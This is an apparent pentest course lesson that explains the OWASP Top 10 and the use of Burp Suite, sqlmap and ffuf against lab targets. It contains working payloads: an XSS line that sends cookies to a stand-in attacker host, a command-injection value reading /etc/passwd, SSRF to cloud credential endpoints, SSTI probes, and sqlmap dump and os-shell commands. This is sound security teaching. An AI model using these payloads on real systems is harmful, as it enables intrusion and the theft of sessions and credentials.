OWASP Top 10 — Concepts

The web is where the money flows. It is also where 60 to 80% of a pentest plays out. The OWASP Top 10 (2021 edition, 2024/2025 rework in progress) lists the ten categories of vulnerabilities that cover the bulk of real-world web attacks. This week we don't memorize them — we understand what each one attacks.

Reminder

Every web exploit runs in the lab (Juice Shop, DVWA, WebGoat), or against a target under RoE. An sqlmap run against an unauthorized third-party site is a hostile act in every jurisdiction.

What you will be able to do after this lesson

• Identify which of the 10 categories matches a given observation about an application.
• Explain the logic of each category in 30 seconds.
• Use Burp Suite in interception + repeater + intruder.
• Tell a POC apart from a proof of impact — the difference that makes a good report.
• Chain several flaws to show a real attack chain.

---

1. The Top 10, one sentence per category

Memorize the logic, not the number. The number changes with each edition.

#	Short name	Logic	Concrete example
A01	Broken Access Control	The app allows what it should forbid.	A normal user can call /api/admin/users.
A02	Cryptographic Failures	Sensitive data travels or rests poorly protected.	Passwords in md5, HTTP instead of HTTPS, weakly signed JWTs.
A03	Injection	User data is executed as code.	SQL injection, command injection, LDAP injection.
A04	Insecure Design	The business logic is wrong from the design stage.	Password reset with no attempt limit, guessable number sequence.
A05	Security Misconfiguration	Default values, debug mode, missing headers.	admin/admin, verbose errors, missing X-Frame-Options.
A06	Vulnerable Components	A dependency has a CVE and it isn't patched.	A log4j on 2.14, an obsolete openssl, a jQuery 1.4.
A07	Identification / Authentication Failures	Weak sessions, weak passwords, no MFA.	Predictable session cookie, no lockout, optional MFA.
A08	Software and Data Integrity Failures	The supply chain lets unverified code through.	An npm install of a compromised package, a CI pipeline with no signing.
A09	Logging / Monitoring Failures	Nothing is logged, nothing is seen.	No alert on 10,000 failed auth attempts.
A10	SSRF (Server-Side Request Forgery)	The server sends a request the attacker chose.	An image import that accepts http://169.254.169.254/latest/meta-data/.

Above all, remember: A01, A03, A05, A07, A10. These are the ones you hit 70% of the time.

---

2. The five to dig into now

2.1. A01 — Broken Access Control

Two genuinely offensive sub-families:

IDOR (Insecure Direct Object Reference): an object's ID is predictable and the app doesn't check that it belongs to the user.

GET /api/users/1234/facture      → my invoice, correct
GET /api/users/1235/facture      → another customer's invoice (leak)

Path traversal: a file path is passed as a parameter, poorly filtered.

GET /telecharger?fichier=rapport.pdf
GET /telecharger?fichier=../../../etc/passwd

Vertical privilege leak: a user account can call an admin-only endpoint. You test it by changing a role: user to role: admin in a JWT, or by calling an /admin/* endpoint with a normal account.

2.2. A03 — Injection

The queen of attacks. SQL, NoSQL, LDAP, OS command, template, anything that lets itself be mixed with user data.

SQL injection in 3 flavors:

• In-band: the stolen data comes straight out in the HTTP response (UNION SELECT).
• Blind boolean: the data doesn't appear, but the response changes based on true/false (AND 1=1 vs AND 1=0).
• Blind time-based: you measure the response time (AND SLEEP(5)); a server that takes 5 seconds longer evaluated the condition as true.

Command injection: a parameter is passed to a poorly escaped system().

POST /ping  {"host": "example.com; cat /etc/passwd"}

Template injection (SSTI): very modern. A Jinja2, Twig, or Handlebars template evaluates a user-controlled expression.

{{ 7*7 }}                                    → 49        → SSTI confirmed
{{ ''.__class__.__mro__[1].__subclasses__() }}   → 200 Python classes

From there, you climb up to subprocess and get an RCE.

2.3. A05 — Security Misconfiguration

The easiest to exploit, the most frequent.

• Default accounts (tomcat:tomcat, admin:admin, weblogic/weblogic1).
• Debug pages in production (/actuator/env, /console, phpinfo.php).
• Directory listing (Index of /) exposing .git files or backup.sql.
• Missing HTTP headers (Content-Security-Policy, X-Frame-Options, Strict-Transport-Security).
• Overly permissive CORS (Access-Control-Allow-Origin: * + Allow-Credentials: true = disaster).

2.4. A07 — Authentication

Three classic attacks:

Password spraying: you try a single password against many accounts. Avoids per-account lockout. Works when the policy doesn't require strong complexity.

nxc smb 10.10.10.12 -u users.txt -p Ete2025! --continue-on-success

Brute force on one account: many passwords against a single account. Blocked by a well-configured lockout.

Credential stuffing: a public dump (Collection#1, etc.) replayed against a site. Employees reuse passwords, so it often works.

On JWTs:

• alg=none attack: you change the algorithm in the header and drop the signature. Some poorly coded parsers accept it.
• kid injection attack: you manipulate kid to point at a key you control.
• Weak secret attack: HMAC-256 signature with a guessable secret (secret, password, changeme).

2.5. A10 — SSRF

The application server, internally, has access to things you don't — cloud metadata, internal services, localhost. SSRF routes you through it.

Target #1 on AWS/GCP/Azure: the metadata endpoints.

http://169.254.169.254/latest/meta-data/         (AWS)
http://metadata.google.internal/                 (GCP)
http://169.254.169.254/metadata/instance         (Azure)

What you get back: the IAM role tied to the instance = temporary AWS credentials. From there, aws sts get-caller-identity, then you look at what the role is allowed to do.

A successful SSRF on a cloud instance is the moment the engagement flips — from a website to a foothold on the infrastructure.

---

3. Burp Suite — the essential web tool

Burp Suite intercepts the HTTP/HTTPS traffic between your browser and the target. It is the Swiss army knife of the web pentester.

Setup in 2 minutes

1. Launch Burp Suite Community (shipped with Kali).
2. Firefox → Preferences → Network → HTTP Proxy → 127.0.0.1:8080.
3. Browse to http://burpsuite → download Burp's CA certificate.
4. Firefox → Certificates → Import → check "Trust for websites".
5. Back to normal traffic, HTTPS decrypted inside Burp.

The 4 tabs to know by heart

Tab	What it does
Proxy → Intercept	Captures each request, lets you modify it before it leaves.
Proxy → HTTP history	History of everything that passed through. Filter, search, re-read.
Repeater	Sends the same request at will, modified each time. The heart of manual pentesting.
Intruder	Sends dozens/thousands of variations with parameterized payloads.

The standard workflow

1. Browse the app normally, let Burp capture everything.
2. Spot an interesting request in HTTP history (login form, sensitive API call, URL with a predictable ID).
3. Send it to Repeater (right-click → Send to Repeater).
4. Modify one parameter at a time. Send, read the response.
5. If you want to test hundreds of variants (passwords, IDs, XSS payloads), send it to Intruder.

Intruder — one insertion point at a time

Intruder attacks:

• Sniper: one payload per request, on a single insertion point. Use it 95% of the time.
• Battering ram: the same payload repeated across several points. Rare.
• Pitchfork: several lists, parallel draw. Useful for a user:password pair.
• Cluster bomb: Cartesian combinations of several lists. Careful, it blows up fast (10 users x 1000 passwords = 10,000 requests).

---

4. sqlmap — when SQL injection confirms it

sqlmap automates the exploitation of SQL injections. You confirm by hand first in Burp, then you let sqlmap do the dirty work.

Base command:

sqlmap -u "http://cible/produits?id=42" --dbs

Options to know:

• --cookie="session=abc123" — to test behind an auth.
• -r requete.txt — pass a complete POST request.
• --data="user=admin&pass=x" — POST parameters directly.
• --dbs — list the databases.
• --tables -D <db> — list the tables.
• --dump -T users -D app — dump the users table.
• --os-shell — get an OS shell if the injection allows it.

Careful: --dump extracts all the rows. In a pentest under RoE, restrict it with --start=1 --stop=10 so you don't overstep the "no mass extraction" clause.

---

5. wfuzz / ffuf / gobuster — endpoint brute forcing

The app hides an /admin, a /backup, an /actuator? You brute-force the paths.

# ffuf, the fastest today
ffuf -w /usr/share/wordlists/dirb/common.txt \
     -u http://cible/FUZZ -mc 200,204,301,302,401,403

# gobuster, alternative
gobuster dir -u http://cible -w /usr/share/wordlists/dirb/common.txt

# ffuf on GET parameters
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
     -u http://cible/api/user?FUZZ=1

Reference wordlists:

• SecLists — the best collection (github.com/danielmiessler/SecLists).
• dirb, dirbuster — shipped with Kali.

---

6. The golden rule: POC != impact

A POC proves the vulnerability. A proof of impact shows what an attacker can do with it.

XSS example:

• POC: <script>alert(1)</script> — a pop-up. "It's broken."
• Impact: <script>fetch('http://attaquant.local/'+document.cookie)</script> — the session cookie is exfiltrated. "An attacker steals the admin session."

SSRF example:

• POC: ?url=http://localhost:8080/ — the server returns a response. "The server sends requests."
• Impact: ?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ — you retrieve the AWS IAM role. "Cloud infrastructure compromise."

SQL injection example:

• POC: id=42' OR '1'='1 — more rows returned. "There's an injection."
• Impact: sqlmap --dump -T users -D app --stop=1 — one record, one email, one hash. "Customer database extraction."

A report with POCs but no impact is a report with no value. That is what sets a pentester apart from an automated scanner.

---

7. The mistakes not to make

• Running sqlmap --dump before you have a clear RoE on extraction. You end up with the full customer database on your disk. A GDPR problem, a reporting problem, a conscience problem.
• Stopping at alert(1). A client will see the pop-up and close it. You need to show session theft or a forced action.
• Neglecting the HTTP headers. A poorly examined Cookie: PHPSESSID=1234abcd can hide an HttpOnly=false flag (JS can read the cookie) = XSS + immediate session theft.
• Running Burp Intruder with 100 threads against production. You DoS the service, you break the RoE.
• Not validating false positives. sqlmap can be wrong. Always confirm by hand in Burp before putting it in the report.

---

8. What to remember

• Ten categories, five to know cold (A01, A03, A05, A07, A10).
• Burp Suite is your main tool — Repeater and Intruder mastered.
• sqlmap confirms, it doesn't replace understanding.
• ffuf finds the hidden endpoints.
• POC != impact. Always show the impact, never only the technical proof.

Next lesson: we take OWASP Juice Shop, we drop five vulnerabilities from the Top 10, and we write a proof of impact for each one.